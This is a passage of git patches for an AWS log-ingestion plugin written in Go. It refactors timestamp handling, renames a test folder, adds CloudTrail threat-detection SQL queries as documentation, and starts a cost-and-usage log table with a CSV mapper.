GetSourceOptions(sourceType string) []row_source.Row } func (t *AlbAccessLogTable) EnrichRow(row *rows.AlbAccessLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.AlbAccessLog, error) { - if err := row.EnrichRow(sourceEnrichmentFields); err != nil { - return nil, err - } - return row, nil + if err := row.EnrichRow(sourceEnrichmentFields); err != nil { + return nil, err + } + return row, nil } - From 8793ad491ef4f8bfb6886b2eb88958fd726f371c Mon Sep 17 00:00:00 2001 From: Ved misra <47312748+misraved@users.noreply.github.com> Date: Fri, 8 Nov 2024 20:10:31 +0700 Subject: [PATCH 072/180] Update tables per the latest SDK format (#18) --- go.mod | 2 +- rows/alb_access_log.go | 4 +- rows/cloudtrail.go | 4 +- rows/elb_access_log.go | 3 +- rows/s3_server_access_log.go | 53 ++++++++++++------------- rows/waf_traffic_log.go | 38 +++++++++--------- tables/cloudtrail_log_table.go | 8 ++-- tables/elb_access_log_table.go | 3 +- tables/lambda_log_table.go | 5 +-- tables/s3_server_access_log_table.go | 3 +- tables/securityhub_finding_log_table.go | 4 +- tables/vpc_flow_log_table.go | 7 ++-- tables/waf_traffic_log_table.go | 7 ++-- 13 files changed, 68 insertions(+), 73 deletions(-) diff --git a/go.mod b/go.mod index 6b00ad85..bd85733e 100644 --- a/go.mod +++ b/go.mod @@ -82,7 +82,6 @@ require ( github.com/hashicorp/go-uuid v1.0.3 // indirect github.com/hashicorp/go-version v1.7.0 // indirect github.com/hashicorp/hcl v1.0.0 // indirect - github.com/hashicorp/hcl/v2 v2.20.1 // indirect github.com/hashicorp/terraform-registry-address v0.2.1 // indirect github.com/hashicorp/terraform-svchost v0.1.1 // indirect github.com/hashicorp/yamux v0.1.1 // indirect @@ -181,6 +180,7 @@ require ( require ( github.com/google/go-cmp v0.6.0 + github.com/hashicorp/hcl/v2 v2.20.1 github.com/rs/xid v1.5.0 github.com/stretchr/testify v1.9.0 github.com/turbot/go-kit v0.10.0-rc.0 diff --git a/rows/alb_access_log.go b/rows/alb_access_log.go index fa838010..015100c0 100644 --- a/rows/alb_access_log.go +++ b/rows/alb_access_log.go @@ -242,8 +242,8 @@ func (l *AlbAccessLog) EnrichRow(sourceEnrichmentFields *enrichment.CommonFields // Standard record enrichment l.TpID = xid.New().String() - l.TpTimestamp = helpers.UnixMillis(l.Timestamp.UnixNano() / int64(time.Millisecond)) - l.TpIngestTimestamp = helpers.UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) + l.TpTimestamp = time.Unix(0, int64(helpers.UnixMillis(l.Timestamp.UnixNano()/int64(time.Millisecond)))*int64(time.Millisecond)) + l.TpIngestTimestamp = time.Unix(0, int64(helpers.UnixMillis(time.Now().UnixNano()/int64(time.Millisecond)))*int64(time.Millisecond)) l.TpDate = l.Timestamp.Format("2006-01-02") // Use ALB name as the index l.TpIndex = l.AlbName diff --git a/rows/cloudtrail.go b/rows/cloudtrail.go index faec7f06..e61d03cf 100644 --- a/rows/cloudtrail.go +++ b/rows/cloudtrail.go @@ -1,6 +1,8 @@ package rows import ( + "time" + "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/helpers" ) @@ -21,7 +23,7 @@ type CloudTrailLog struct { EventID string `json:"eventID"` EventName string `json:"eventName"` EventSource string `json:"eventSource"` - EventTime helpers.UnixMillis `json:"eventTime"` + EventTime *time.Time `json:"eventTime"` EventType string `json:"eventType"` EventVersion string `json:"eventVersion"` ManagementEvent *bool `json:"managementEvent,omitempty" ` diff --git a/rows/elb_access_log.go b/rows/elb_access_log.go index 06d46d69..fffd3a62 100644 --- a/rows/elb_access_log.go +++ b/rows/elb_access_log.go @@ -2,7 +2,6 @@ package rows import ( "fmt" - "github.com/turbot/tailpipe-plugin-sdk/helpers" "strconv" "strings" "time" @@ -61,7 +60,7 @@ func (l *ElbAccessLog) InitialiseFromMap(m map[string]string) error { return fmt.Errorf("error parsing timestamp: %w", err) } l.Timestamp = ts - l.TpTimestamp = helpers.UnixMillis(ts.UnixNano() / int64(time.Millisecond)) + l.TpTimestamp = ts case "type": l.Type = value case "elb": diff --git a/rows/s3_server_access_log.go b/rows/s3_server_access_log.go index 3a05bb06..484410ad 100644 --- a/rows/s3_server_access_log.go +++ b/rows/s3_server_access_log.go @@ -2,7 +2,6 @@ package rows import ( "fmt" - "github.com/turbot/tailpipe-plugin-sdk/helpers" "strconv" "time" @@ -12,32 +11,32 @@ import ( type S3ServerAccessLog struct { enrichment.CommonFields - BucketOwner string `json:"bucket_owner"` - Bucket string `json:"bucket"` + BucketOwner string `json:"bucket_owner"` + Bucket string `json:"bucket"` Timestamp time.Time `json:"timestamp"` - RemoteIP string `json:"remote_ip"` - Requester string `json:"requester"` - RequestID string `json:"request_id"` - Operation string `json:"operation"` - Key *string `json:"key,omitempty"` - RequestURI *string `json:"request_uri,omitempty"` - HTTPStatus *int `json:"http_status,omitempty"` - ErrorCode *string `json:"error_code,omitempty"` - BytesSent *int64 `json:"bytes_sent,omitempty"` - ObjectSize *int64 `json:"object_size,omitempty"` - TotalTime *int `json:"total_time,omitempty"` - TurnAroundTime *int `json:"turn_around_time,omitempty"` - Referer *string `json:"referer,omitempty"` - UserAgent *string `json:"user_agent,omitempty"` - VersionID *string `json:"version_id,omitempty"` - HostID *string `json:"host_id,omitempty"` - SignatureVersion *string `json:"signature_version,omitempty"` - CipherSuite *string `json:"cipher_suite,omitempty"` - AuthenticationType *string `json:"authentication_type,omitempty"` - HostHeader *string `json:"host_header,omitempty"` - TLSVersion *string `json:"tls_version,omitempty"` - AccessPointArn *string `json:"access_point_arn,omitempty"` - AclRequired *bool `json:"acl_required,omitempty"` + RemoteIP string `json:"remote_ip"` + Requester string `json:"requester"` + RequestID string `json:"request_id"` + Operation string `json:"operation"` + Key *string `json:"key,omitempty"` + RequestURI *string `json:"request_uri,omitempty"` + HTTPStatus *int `json:"http_status,omitempty"` + ErrorCode *string `json:"error_code,omitempty"` + BytesSent *int64 `json:"bytes_sent,omitempty"` + ObjectSize *int64 `json:"object_size,omitempty"` + TotalTime *int `json:"total_time,omitempty"` + TurnAroundTime *int `json:"turn_around_time,omitempty"` + Referer *string `json:"referer,omitempty"` + UserAgent *string `json:"user_agent,omitempty"` + VersionID *string `json:"version_id,omitempty"` + HostID *string `json:"host_id,omitempty"` + SignatureVersion *string `json:"signature_version,omitempty"` + CipherSuite *string `json:"cipher_suite,omitempty"` + AuthenticationType *string `json:"authentication_type,omitempty"` + HostHeader *string `json:"host_header,omitempty"` + TLSVersion *string `json:"tls_version,omitempty"` + AccessPointArn *string `json:"access_point_arn,omitempty"` + AclRequired *bool `json:"acl_required,omitempty"` } func NewS3ServerAccessLog() *S3ServerAccessLog { @@ -57,7 +56,7 @@ func (l *S3ServerAccessLog) InitialiseFromMap(m map[string]string) error { return fmt.Errorf("error parsing timestamp: %w", err) } l.Timestamp = ts - l.TpTimestamp = helpers.UnixMillis(ts.UnixNano() / int64(time.Millisecond)) + l.TpTimestamp = ts case "remote_ip": l.RemoteIP = value l.TpSourceIP = &value diff --git a/rows/waf_traffic_log.go b/rows/waf_traffic_log.go index 304eb838..2bb981aa 100644 --- a/rows/waf_traffic_log.go +++ b/rows/waf_traffic_log.go @@ -1,6 +1,8 @@ package rows import ( + "time" + "github.com/turbot/tailpipe-plugin-sdk/enrichment" "github.com/turbot/tailpipe-plugin-sdk/helpers" ) @@ -13,30 +15,30 @@ type Header struct { // Define a nested struct for the httpRequest field type HttpRequest struct { - ClientIp *string `json:"client_ip,omitempty"` - Country *string `json:"country,omitempty"` + ClientIp *string `json:"client_ip,omitempty"` + Country *string `json:"country,omitempty"` Headers *helpers.JSONString `json:"headers,omitempty"` - Uri *string `json:"uri,omitempty"` - Args *string `json:"args,omitempty"` - HttpVersion *string `json:"http_version,omitempty"` - HttpMethod *string `json:"http_method,omitempty"` - RequestId *string `json:"request_id,omitempty"` + Uri *string `json:"uri,omitempty"` + Args *string `json:"args,omitempty"` + HttpVersion *string `json:"http_version,omitempty"` + HttpMethod *string `json:"http_method,omitempty"` + RequestId *string `json:"request_id,omitempty"` } // WafTrafficLog struct with fields aligned to the provided JSON type WafTrafficLog struct { enrichment.CommonFields - Timestamp *int64 `json:"timestamp,omitempty"` - FormatVersion *int32 `json:"format_version,omitempty"` - WebAclId *string `json:"web_acl_id,omitempty"` - TerminatingRuleId *string `json:"terminating_rule_id,omitempty"` - TerminatingRuleType *string `json:"terminating_rule_type,omitempty"` - Action *string `json:"action,omitempty"` - HttpSourceName *string `json:"http_source_name,omitempty"` - HttpSourceId *string `json:"http_source_id,omitempty"` - RuleGroupList []string `json:"rule_group_list,omitempty"` - RateBasedRuleList []string `json:"rate_based_rule_list,omitempty"` - NonTerminatingMatchingRules []string `json:"non_terminating_matching_rules,omitempty"` + Timestamp *time.Time `json:"timestamp,omitempty"` + FormatVersion *int32 `json:"format_version,omitempty"` + WebAclId *string `json:"web_acl_id,omitempty"` + TerminatingRuleId *string `json:"terminating_rule_id,omitempty"` + TerminatingRuleType *string `json:"terminating_rule_type,omitempty"` + Action *string `json:"action,omitempty"` + HttpSourceName *string `json:"http_source_name,omitempty"` + HttpSourceId *string `json:"http_source_id,omitempty"` + RuleGroupList []string `json:"rule_group_list,omitempty"` + RateBasedRuleList []string `json:"rate_based_rule_list,omitempty"` + NonTerminatingMatchingRules []string `json:"non_terminating_matching_rules,omitempty"` HttpRequest *helpers.JSONString `json:"http_request,omitempty"` } diff --git a/tables/cloudtrail_log_table.go b/tables/cloudtrail_log_table.go index 0107da43..1e6a3187 100644 --- a/tables/cloudtrail_log_table.go +++ b/tables/cloudtrail_log_table.go @@ -13,7 +13,6 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/helpers" "github.com/turbot/tailpipe-plugin-sdk/parse" "github.com/turbot/tailpipe-plugin-sdk/row_source" "github.com/turbot/tailpipe-plugin-sdk/table" @@ -88,8 +87,9 @@ func (c *CloudTrailLogTable) EnrichRow(row rows.CloudTrailLog, sourceEnrichmentF // Record standardization row.TpID = xid.New().String() row.TpSourceType = "aws_cloudtrail_log" - row.TpTimestamp = row.EventTime - row.TpIngestTimestamp = helpers.UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) + row.TpTimestamp = *row.EventTime + row.TpIngestTimestamp = time.Now() + if row.SourceIPAddress != nil { row.TpSourceIP = row.SourceIPAddress row.TpIps = append(row.TpIps, *row.SourceIPAddress) @@ -115,7 +115,7 @@ func (c *CloudTrailLogTable) EnrichRow(row rows.CloudTrailLog, sourceEnrichmentF row.TpPartition = "default" // TODO - should be based on the definition in HCL row.TpIndex = row.RecipientAccountId // convert to date in format yy-mm-dd - row.TpDate = time.UnixMilli(int64(row.EventTime)).Format("2006-01-02") + row.TpDate = row.EventTime.Format("2006-01-02") return row, nil } diff --git a/tables/elb_access_log_table.go b/tables/elb_access_log_table.go index 171859f4..3bb5681a 100644 --- a/tables/elb_access_log_table.go +++ b/tables/elb_access_log_table.go @@ -9,7 +9,6 @@ import ( "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/helpers" "github.com/turbot/tailpipe-plugin-sdk/parse" "github.com/turbot/tailpipe-plugin-sdk/row_source" "github.com/turbot/tailpipe-plugin-sdk/table" @@ -70,7 +69,7 @@ func (c *ElbAccessLogTable) EnrichRow(row *rows.ElbAccessLog, sourceEnrichmentFi // Record standardization row.TpID = xid.New().String() - row.TpIngestTimestamp = helpers.UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) + row.TpIngestTimestamp = time.Now() row.TpSourceType = "aws_elb_access_log" // TODO: #refactor move to source? // Hive Fields diff --git a/tables/lambda_log_table.go b/tables/lambda_log_table.go index 4bf11b75..0690fa4f 100644 --- a/tables/lambda_log_table.go +++ b/tables/lambda_log_table.go @@ -11,7 +11,6 @@ import ( "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/helpers" "github.com/turbot/tailpipe-plugin-sdk/parse" "github.com/turbot/tailpipe-plugin-sdk/row_source" "github.com/turbot/tailpipe-plugin-sdk/table" @@ -50,7 +49,7 @@ func (c *LambdaLogTable) EnrichRow(rawRow string, sourceEnrichmentFields *enrich if sourceEnrichmentFields != nil { row.CommonFields = *sourceEnrichmentFields - ts := time.UnixMilli(int64(sourceEnrichmentFields.TpTimestamp)) + ts := sourceEnrichmentFields.TpTimestamp row.Timestamp = &ts } @@ -98,7 +97,7 @@ func (c *LambdaLogTable) EnrichRow(rawRow string, sourceEnrichmentFields *enrich // Record standardization row.TpID = xid.New().String() - row.TpIngestTimestamp = helpers.UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) + row.TpIngestTimestamp = time.Now() // Hive fields row.TpPartition = c.Identifier() diff --git a/tables/s3_server_access_log_table.go b/tables/s3_server_access_log_table.go index 51e8e5d3..925018cc 100644 --- a/tables/s3_server_access_log_table.go +++ b/tables/s3_server_access_log_table.go @@ -9,7 +9,6 @@ import ( "github.com/turbot/tailpipe-plugin-aws/rows" "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/helpers" "github.com/turbot/tailpipe-plugin-sdk/parse" "github.com/turbot/tailpipe-plugin-sdk/row_source" "github.com/turbot/tailpipe-plugin-sdk/table" @@ -70,7 +69,7 @@ func (c *S3ServerAccessLogTable) EnrichRow(row *rows.S3ServerAccessLog, sourceEn // Record standardization row.TpID = xid.New().String() - row.TpIngestTimestamp = helpers.UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) + row.TpIngestTimestamp = time.Now() row.TpSourceType = "aws.s3_server_access_log" // Hive Fields diff --git a/tables/securityhub_finding_log_table.go b/tables/securityhub_finding_log_table.go index 6087180b..dc06c776 100644 --- a/tables/securityhub_finding_log_table.go +++ b/tables/securityhub_finding_log_table.go @@ -2,7 +2,6 @@ package tables import ( "context" - "time" "github.com/turbot/pipe-fittings/utils" "github.com/turbot/tailpipe-plugin-aws/config" @@ -11,7 +10,6 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/helpers" "github.com/turbot/tailpipe-plugin-sdk/parse" "github.com/turbot/tailpipe-plugin-sdk/row_source" "github.com/turbot/tailpipe-plugin-sdk/table" @@ -83,7 +81,7 @@ func (c *SecurityHubFindingLogTable) EnrichRow(row rows.SecurityHubFindingLog, s row.TpSourceType = "aws_securityhub_finding_log" if row.Time != nil { - row.TpTimestamp = helpers.UnixMillis(row.Time.UnixNano() / int64(time.Millisecond)) + row.TpTimestamp = *row.Time } if row.Account != nil { row.TpIndex = *row.Account diff --git a/tables/vpc_flow_log_table.go b/tables/vpc_flow_log_table.go index 571fe678..aad82e0d 100644 --- a/tables/vpc_flow_log_table.go +++ b/tables/vpc_flow_log_table.go @@ -70,7 +70,7 @@ func (c *VPCFlowLogLogTable) EnrichRow(row *rows.VpcFlowLog, sourceEnrichmentFie row.TpSourceType = c.Identifier() //row.TpSourceName = ??? //row.TpSourceLocation = ??? - row.TpIngestTimestamp = helpers.UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) + row.TpIngestTimestamp = time.Now() // Hive fields // TODO - should be based on the definition in HCL @@ -83,15 +83,14 @@ func (c *VPCFlowLogLogTable) EnrichRow(row *rows.VpcFlowLog, sourceEnrichmentFie if row.Timestamp != nil { // convert to date in format yy-mm-dd row.TpDate = row.Timestamp.In(time.UTC).Format("2006-01-02") - row.TpTimestamp = helpers.UnixMillis(row.Timestamp.UnixNano() / int64(time.Millisecond)) - + row.TpTimestamp = *row.Timestamp } else if row.Start != nil { // convert to date in format yy-mm-dd // TODO is Start unix millis?? if so why do we convert it for TpTimestamp row.TpDate = time.UnixMilli(*row.Start).Format("2006-01-02") //convert from unis seconds to milliseconds - row.TpTimestamp = helpers.UnixMillis(*row.Start * 1000) + row.TpTimestamp = time.Unix(0, int64(helpers.UnixMillis(*row.Start*1000))*int64(time.Millisecond)) } //row.TpAkas = ??? diff --git a/tables/waf_traffic_log_table.go b/tables/waf_traffic_log_table.go index a41d8a99..75af2471 100644 --- a/tables/waf_traffic_log_table.go +++ b/tables/waf_traffic_log_table.go @@ -13,7 +13,6 @@ import ( "github.com/turbot/tailpipe-plugin-sdk/artifact_source" "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/helpers" "github.com/turbot/tailpipe-plugin-sdk/parse" "github.com/turbot/tailpipe-plugin-sdk/row_source" "github.com/turbot/tailpipe-plugin-sdk/table" @@ -88,8 +87,8 @@ func (c *WafTrafficLogTable) EnrichRow(row rows.WafTrafficLog, sourceEnrichmentF // Record standardization row.TpID = xid.New().String() row.TpSourceType = "aws_waf_traffic_log" - row.TpTimestamp = helpers.UnixMillis(*row.Timestamp) - row.TpIngestTimestamp = helpers.UnixMillis(time.Now().UnixNano() / int64(time.Millisecond)) + row.TpTimestamp = *row.Timestamp + row.TpIngestTimestamp = time.Now() // Hive fields // Check if row.HttpSourceId is not nil before dereferencing @@ -100,7 +99,7 @@ func (c *WafTrafficLogTable) EnrichRow(row rows.WafTrafficLog, sourceEnrichmentF row.TpIndex = "" // or assign a default value if desired } // convert to date in format yy-mm-dd - row.TpDate = time.UnixMilli(int64(*row.Timestamp)).Format("2006-01-02") + row.TpDate = row.Timestamp.Format("2006-01-02") return row, nil } From c918cce540f6bfc6f7a7853cad13256cd4b9ef72 Mon Sep 17 00:00:00 2001 From: misraved Date: Fri, 8 Nov 2024 20:26:36 +0700 Subject: [PATCH 073/180] Renamed the test folder to tests --- {test => tests}/alb-test.log | 0 {test => tests}/alb.sh | 0 {test => tests}/alb_generate.py | 0 {test => tests}/alb_test.tpc | 0 4 files changed, 0 insertions(+), 0 deletions(-) rename {test => tests}/alb-test.log (100%) rename {test => tests}/alb.sh (100%) rename {test => tests}/alb_generate.py (100%) rename {test => tests}/alb_test.tpc (100%) diff --git a/test/alb-test.log b/tests/alb-test.log similarity index 100% rename from test/alb-test.log rename to tests/alb-test.log diff --git a/test/alb.sh b/tests/alb.sh similarity index 100% rename from test/alb.sh rename to tests/alb.sh diff --git a/test/alb_generate.py b/tests/alb_generate.py similarity index 100% rename from test/alb_generate.py rename to tests/alb_generate.py diff --git a/test/alb_test.tpc b/tests/alb_test.tpc similarity index 100% rename from test/alb_test.tpc rename to tests/alb_test.tpc From bbfb0e4ba5c66d5daa4302ba2cb9f6c366cb81f1 Mon Sep 17 00:00:00 2001 From: misraved Date: Fri, 8 Nov 2024 21:21:33 +0700 Subject: [PATCH 074/180] Add initial queries for aws_cloudtrail_log table --- docs/tables/aws_cloudtrail_log.md | 200 ++++++++++++++++++++++++++++++ rows/alb_access_log.go | 7 +- 2 files changed, 203 insertions(+), 4 deletions(-) create mode 100644 docs/tables/aws_cloudtrail_log.md diff --git a/docs/tables/aws_cloudtrail_log.md b/docs/tables/aws_cloudtrail_log.md new file mode 100644 index 00000000..ebca41e4 --- /dev/null +++ b/docs/tables/aws_cloudtrail_log.md @@ -0,0 +1,200 @@ + +# AWS Security Threat Detection Queries + +## Detect AWS Console unsuccessful login attempts +Flags actors who failed to login to the console. + +```sql +select + epoch_ms(event_time) as event_time, + event_name, + user_identity.arn as user_arn, + source_ip_address, + aws_region, + recipient_account_id as account_id, + user_agent, + additional_event_data, + request_parameters, + response_elements, + service_event_details, + resources, + user_identity +from + aws_cloudtrail_log +where + event_source = 'signin.amazonaws.com' + and event_name = 'ConsoleLogin' + and (additional_event_data::json ->> 'MFAUsed') = 'Yes' + and (response_elements::json ->> 'ConsoleLogin') = 'Failure' +order by + event_time desc; +``` + +## Detect Access from Non-Whitelisted Locations +Flags actors accessing from unapproved locations, which may indicate unauthorized access or policy violations. + +```sql +select + user_identity.arn as user_arn, + source_ip_address, + aws_region +from + aws_cloudtrail_log +where + source_ip_address not in ('trusted_location_1', 'trusted_location_2') +group by + user_identity.arn, source_ip_address, aws_region; +``` + +## Detect high volume of S3 bucket access in short time +Flags accounts with a high number of S3 access events within a short period, indicating potential brute force or data exfiltration attempts. + +```sql +select + user_identity.arn as user_arn, + count(*) as access_count, + date_trunc('minute', event_time) as event_minute +from + aws_cloudtrail_log +where + event_source = 's3.amazonaws.com' + and event_name in ('GetObject', 'PutObject', 'ListBucket') +group by + user_identity.arn, event_minute +having + count(*) > 100 +order by + access_count desc; +``` + +## Detect attempts to disable CloudTrail logging +Detects if any actor attempted to stop CloudTrail logging, which may indicate an attempt to cover tracks. + +```sql +select + user_identity.arn as user_arn, + event_name, + event_time +from + aws_cloudtrail_log +where + event_name in ('StopLogging', 'DeleteTrail') + and event_source = 'cloudtrail.amazonaws.com' +order by + event_time desc; +``` + +## Detect IAM policy modifications +Flags actors modifying IAM policies, which may indicate privilege escalation attempts. + +```sql +select + user_identity.arn as user_arn, + event_name, + request_parameters, + event_time +from + aws_cloudtrail_log +where + event_source = 'iam.amazonaws.com' + and event_name in ('PutUserPolicy', 'AttachUserPolicy', 'DetachUserPolicy') +order by + event_time desc; +``` + +## Detect unusual source IP addresses for users +Flags users accessing from unfamiliar IP addresses, which may indicate account compromise. + +```sql +select + user_identity.arn as user_arn, + source_ip_address, + count(*) as access_count, + date_trunc('day', event_time) as access_day +from + aws_cloudtrail_log +where + source_ip_address not in (select distinct source_ip_address from aws_cloudtrail_log) +group by + user_identity.arn, source_ip_address, access_day +having + access_count > 5 +order by + access_count desc; +``` + +## Detect root account activity +Detects usage of the root account, which is generally a high-risk action. + +```sql +select + event_time, + event_name, + source_ip_address, + aws_region, + user_identity.arn as user_arn +from + aws_cloudtrail_log +where + user_identity.type = 'Root' +order by + event_time desc; +``` + +## Detect EC2 instance start or stop events +Flags EC2 instance start or stop actions, which could indicate unauthorized resource usage. + +```sql +select + user_identity.arn as user_arn, + event_name, + request_parameters, + event_time +from + aws_cloudtrail_log +where + event_source = 'ec2.amazonaws.com' + and event_name in ('StartInstances', 'StopInstances') +order by + event_time desc; +``` + +## Detect IAM user deletions +Flags deletion of IAM users, which could indicate malicious attempts to remove evidence. + +```sql +select + user_identity.arn as user_arn, + event_name, + request_parameters, + event_time +from + aws_cloudtrail_log +where + event_source = 'iam.amazonaws.com' + and event_name = 'DeleteUser' +order by + event_time desc; +``` + +## Detect excessive role assumption +Flags actors assuming roles more frequently than usual, indicating potential privilege misuse. + +```sql +select + user_identity.arn as user_arn, + count(*) as assumption_count, + date_trunc('hour', event_time) as assumption_hour +from + aws_cloudtrail_log +where + event_source = 'sts.amazonaws.com' + and event_name = 'AssumeRole' +group by + user_identity.arn, assumption_hour +having + count(*) > 10 +order by + assumption_count desc; +``` + diff --git a/rows/alb_access_log.go b/rows/alb_access_log.go index 015100c0..b2ab9540 100644 --- a/rows/alb_access_log.go +++ b/rows/alb_access_log.go @@ -10,7 +10,6 @@ import ( "github.com/rs/xid" "github.com/turbot/tailpipe-plugin-sdk/enrichment" - "github.com/turbot/tailpipe-plugin-sdk/helpers" ) // AlbAccessLog represents a single Application Load Balancer (ALB) access log entry. @@ -24,7 +23,7 @@ import ( // // Enrichment fields are populated as follows: // - tp_source_ip: from client IP -// - tp_destination_ip: from target IP +// - tp_destination_ip: from target IP // - tp_ips: array containing both client and target IPs // - tp_domains: from domain_name field // - tp_akas: from target_group_arn for AWS resource linking @@ -242,8 +241,8 @@ func (l *AlbAccessLog) EnrichRow(sourceEnrichmentFields *enrichment.CommonFields // Standard record enrichment l.TpID = xid.New().String() - l.TpTimestamp = time.Unix(0, int64(helpers.UnixMillis(l.Timestamp.UnixNano()/int64(time.Millisecond)))*int64(time.Millisecond)) - l.TpIngestTimestamp = time.Unix(0, int64(helpers.UnixMillis(time.Now().UnixNano()/int64(time.Millisecond)))*int64(time.Millisecond)) + l.TpTimestamp = l.Timestamp + l.TpIngestTimestamp = time.Now() l.TpDate = l.Timestamp.Format("2006-01-02") // Use ALB name as the index l.TpIndex = l.AlbName From c354af26412993ac27f1921b0f8be34ad0410da3 Mon Sep 17 00:00:00 2001 From: Puskar Basu Date: Fri, 8 Nov 2024 21:59:36 +0700 Subject: [PATCH 075/180] Add aws_cost_and_usage_log table --- aws/plugin.go | 1 + mappers/cost_and_usage_mapper.go | 107 ++++++++++++++++++++++ rows/cost_and_usage_log.go | 41 +++++++++ tables/cost_and_usage_log_table.go | 104 +++++++++++++++++++++ tables/cost_and_usage_log_table_config.go | 7 ++ 5 files changed, 260 insertions(+) create mode 100644 mappers/cost_and_usage_mapper.go create mode 100644 rows/cost_and_usage_log.go create mode 100644 tables/cost_and_usage_log_table.go create mode 100644 tables/cost_and_usage_log_table_config.go diff --git a/aws/plugin.go b/aws/plugin.go index 609a59c3..55e009f9 100644 --- a/aws/plugin.go +++ b/aws/plugin.go @@ -34,6 +34,7 @@ func NewPlugin() (_ plugin.TailpipePlugin, err error) { tables.NewSecurityHubFindingLogTable, tables.NewWafTrafficLogTable, tables.NewAlbAccessLogTable, + tables.NewCCostAndUsageLogTable, }, } diff --git a/mappers/cost_and_usage_mapper.go b/mappers/cost_and_usage_mapper.go new file mode 100644 index 00000000..1cb2f3a9 --- /dev/null +++ b/mappers/cost_and_usage_mapper.go @@ -0,0 +1,107 @@ +package mappers + +import ( + "context" + "encoding/csv" + "fmt" + "log/slog" + "strconv" + "strings" + "time" + + "github.com/turbot/tailpipe-plugin-aws/rows" + "github.com/turbot/tailpipe-plugin-sdk/table" +) + +// CostAndUsageLogMapper +type CostAndUsageLogMapper struct { +} + +// NewCostAndUsageMapper creates a new CostAndUsageLogMapper +func NewCostAndUsageMapper() table.Mapper[rows.CostAndUsageLog] { + return &CostAndUsageLogMapper{} +} + +func (c *CostAndUsageLogMapper) Identifier() string { + return "cost_and_usage_mapper" +} + +func (c *CostAndUsageLogMapper) Map(_ context.Context, a any) ([]rows.CostAndUsageLog, error) { + slog.Debug(">> Inside Map") + csvData, ok := a.(string) + if !ok { + return nil, fmt.Errorf("input data is not of type string") + } + r := csv.NewReader(strings.NewReader(csvData)) + r.TrimLeadingSpace = true + records, err := r.ReadAll() + if err != nil { + fmt.Println("Error reading CSV data:", err) + return nil, err + } + slog.Debug("<< records", "...", records) + var logs []rows.CostAndUsageLog + for _, row := range records { + // TODO - find a better way of doing this parsing + slog.Debug("<< row", "...", row) + log := rows.CostAndUsageLog{ + InvoiceID: &row[0], + PayerAccountId: &row[1], + LinkedAccountId: &row[2], + RecordType: &row[3], + RecordID: &row[4], + BillingPeriodStartDate: parseTime(row[5]), + BillingPeriodEndDate: parseTime(row[6]), + InvoiceDate: parseTime(row[7]), + PayerAccountName: &row[8], + LinkedAccountName: &row[9], + TaxationAddress: &row[10], + PayerPONumber: &row[11], + ProductCode: &row[12], + ProductName: &row[13], + SellerOfRecord: &row[14], + UsageType: &row[15], + Operation: &row[16], + RateId: &row[17], + ItemDescription: &row[18], + UsageStartDate: parseTime(row[19]), + UsageEndDate: parseTime(row[20]), + UsageQuantity: parseFloat(row[21]), + BlendedRate: &row[22], + CurrencyCode: &row[23], + CostBeforeTax: parseFloat(row[24]), + Credits: parseFloat(row[25]), + TaxAmount: parseFloat(row[26]), + TaxType: &row[27], + TotalCost: parseFloat(row[28]), + } + logs = append(logs, log) + } + slog.Debug("<< logs", "...", logs) + return logs, nil +} + +func parseTime(value string) *time.Time { + if value == "" { + return nil + } + layout := "2006/01/02 15:04:05" + t, err := time.Parse(layout, value) + if err != nil { + fmt.Println("Error parsing time:", err) + return nil + } + return &t +} + +func parseFloat(value string) *float64 { + if value == "" { + return nil + } + f, err := strconv.ParseFloat(value, 64) + if err != nil { + fmt.Println("Error parsing float:", err) + return nil + } + return &f +} diff --git a/rows/cost_and_usage_log.go b/rows/cost_and_usage_log.go new file mode 100644 index 00000000..a531df31 --- /dev/null +++ b/rows/cost_and_usage_log.go @@ -0,0 +1,41 @@ +package rows + +import ( + "time" + + "github.com/turbot/tailpipe-plugin-sdk/enrichment" +) + +type CostAndUsageLog struct { + enrichment.CommonFields + + InvoiceID *string `json:"invoice_id,omitempty"` + PayerAccountId *string `json:"payer_account_id,omitempty"` + LinkedAccountId *string `json:"linked_account_id,omitempty"` + RecordType *string `json:"record_type,omitempty"` + RecordID *string `json:"record_id,omitempty"` + BillingPeriodStartDate *time.Time `json:"billing_period_start_date,omitempty"` + BillingPeriodEndDate *time.Time `json:"billing_period_end_date,omitempty"` + InvoiceDate *time.Time `json:"invoice_date,omitempty"` + PayerAccountName *string `json:"payer_account_name,omitempty"` + LinkedAccountName *string `json:"linked_account_name,omitempty"` + TaxationAddress *string `json:"taxation_address,omitempty"` + PayerPONumber *string `json:"payer_po_number,omitempty"` + ProductCode *string `json:"product_code,omitempty"` + ProductName *string `json:"product_name,omitempty"` + SellerOfRecord *string `json:"seller_of_record,omitempty"` + UsageType *string `json:"usage_type,omitempty"` + Operation *string `json:"operation,omitempty"` + RateId *string `json:"rate_id,omitempty"` + ItemDescription *string `json:"item_description,omitempty"` + UsageStartDate *time.Time `json:"usage_start_date,omitempty"` + UsageEndDate *time.Time `json:"usage_end_date,omitempty"` + UsageQuantity *float64 